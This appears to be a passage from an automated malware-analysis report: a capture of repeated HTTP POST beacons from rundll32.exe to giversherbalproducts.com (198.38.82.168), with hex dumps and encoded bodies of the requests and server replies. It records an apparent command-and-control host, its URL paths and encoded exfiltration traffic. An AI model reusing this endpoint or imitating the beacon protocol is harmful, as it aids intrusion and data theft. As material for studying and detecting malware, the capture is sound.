5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt5dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.3	49937	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:09.738337994 CEST	7046	OUT	POST /lBawcxb5/B0N6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:10.210728884 CEST	7052	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:09 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 34 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt4fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.2.3	49938	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:09.783824921 CEST	7046	OUT	POST /lBawcxb5/eHkufUZ6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:10.278049946 CEST	7053	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:09 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 34 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt4fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.3	49943	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:11.687376022 CEST	7059	OUT	POST /lBawcxb5/BEN6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:12.203600883 CEST	7062	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:11 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 34 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt4fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.2.3	49945	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:11.687748909 CEST	7059	OUT	POST /lBawcxb5/O0N6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:12.171185970 CEST	7061	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:11 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 34 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt4fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49766	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:14.513691902 CEST	1059	OUT	POST /lBawcxb5/DClzfTsJDgA/AicrERgXCHsERX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:14.953470945 CEST	1061	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:14 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 38 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXp8eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.3	49948	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:13.553922892 CEST	7067	OUT	POST /lBawcxb5/eHkufUZ6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:14.037156105 CEST	7074	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:13 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 34 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt4f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	192.168.2.3	49949	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:13.584606886 CEST	7069	OUT	POST /lBawcxb5/HBh5OS4KPhEaDX4zInUmIRkKJg0aICwiFRgJQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:14.084959030 CEST	7075	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:13 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 34 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt4f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	192.168.2.3	49954	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:14.391756058 CEST	7079	OUT	POST /lBawcxb5/BEN6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:14.851907969 CEST	7085	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:14 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 34 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt4eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	192.168.2.3	49955	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:14.443991899 CEST	7080	OUT	POST /lBawcxb5/cyQbHQclOjsWPj9+fno6BSIqDQ4RfS4GPhMQQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:15.106513023 CEST	7089	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:14 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 34 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt4eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	192.168.2.3	49959	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:15.273339987 CEST	7091	OUT	POST /lBawcxb5/HBh5OS4KPhEaDX4zInUmIRkKJg0aICwiFRgJQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
